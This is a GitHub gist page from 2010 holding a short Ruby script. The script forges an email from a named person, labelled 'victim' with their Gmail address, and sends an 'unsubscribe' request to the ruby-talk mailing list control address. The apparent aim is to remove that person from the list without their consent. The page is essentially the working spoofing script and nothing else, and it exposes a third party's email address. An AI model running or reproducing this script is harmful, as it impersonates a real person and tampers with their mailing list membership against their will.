Created
April 13, 2010 21:58
-
-
Save tarcieri/365142 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env ruby | |
require 'net/smtp' | |
victim = "gmkoller@gmail.com" | |
message = <<-EOM | |
From: #{victim} | |
To: ruby-talk-ctl@ruby-lang.org | |
Subject: unsubscribe | |
unsubscribe | |
EOM | |
Net::SMTP.start('localhost', 25) do |smtp| | |
smtp.send_message message, victim, 'ruby-talk-ctl@ruby-lang.org' | |
end |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment